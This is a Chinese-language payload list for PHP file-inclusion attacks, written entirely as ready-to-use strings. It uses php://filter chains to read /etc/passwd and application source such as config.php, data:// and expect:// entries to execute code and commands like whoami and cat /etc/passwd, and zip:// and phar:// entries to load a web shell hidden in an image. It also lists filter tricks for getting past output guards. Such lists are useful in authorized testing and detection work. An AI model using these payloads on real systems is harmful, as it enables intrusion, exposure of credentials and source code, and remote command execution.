# PHP伪协议Payloads

# php://filter - 读取文件
php://filter/resource=/etc/passwd
php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/convert.base64-decode/resource=...
php://filter/read=convert.base64-encode/resource=/etc/passwd
php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
php://filter/zlib.inflate/resource=...
php://filter/convert.iconv.UTF-8.UTF-16*/resource=/etc/passwd
php://filter/convert.quoted-printable-encode/resource=/etc/passwd
php://filter/string.rot13/resource=/etc/passwd
php://filter/string.toupper/resource=/etc/passwd
php://filter/string.lower/resource=/etc/passwd

# php://input - POST数据注入
php://input

# data:// 伪协议
data://text/plain;base64,PD9waHAgZXhlY2g=
data://text/plain,%3C%3Fphp%20phpinfo%28%29%3B%3F%3E
data://text/plain,<?php phpinfo();?>

# expect:// 伪协议
expect://id
expect://ls
expect://whoami
expect://cat%20/etc/passwd
expect://ping%20-c%201%20127.0.0.1

# zip:// 伪协议
zip://shell.jpg%23shell.php
phar://shell.jpg

# glob:// 伪协议 - 目录枚举
glob://
glob://*.[oO]
glob://file*[a-z]

# php://fd - 文件描述符流
php://fd/0
php://fd/1
php://fd/2

# 常见利用组合
# 读取/etc/passwd
php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=convert.base64-encode/resource=/etc/passwd

# 读取PHP源码
php://filter/convert.base64-encode/resource=./config.php
php://filter/convert.base64-encode/resource=./index.php
php://filter/convert.iconv.UTF-8.UTF-16*/resource=./config.php

# 绕过死亡输出
php://filter/zlib.deflate/resource=/etc/passwd
php://filter/convert.quoted-printable-encode/resource=/etc/passwd
php://filter/string.rot13/resource=/etc/passwd

# 嵌套过滤器
php://filter/convert.iconv.UTF-8*.UCS-2LE*/convert.base64-encode/resource=/etc/passwd
php://filter/zlib.deflate|convert.base64-encode/resource=/etc/passwd
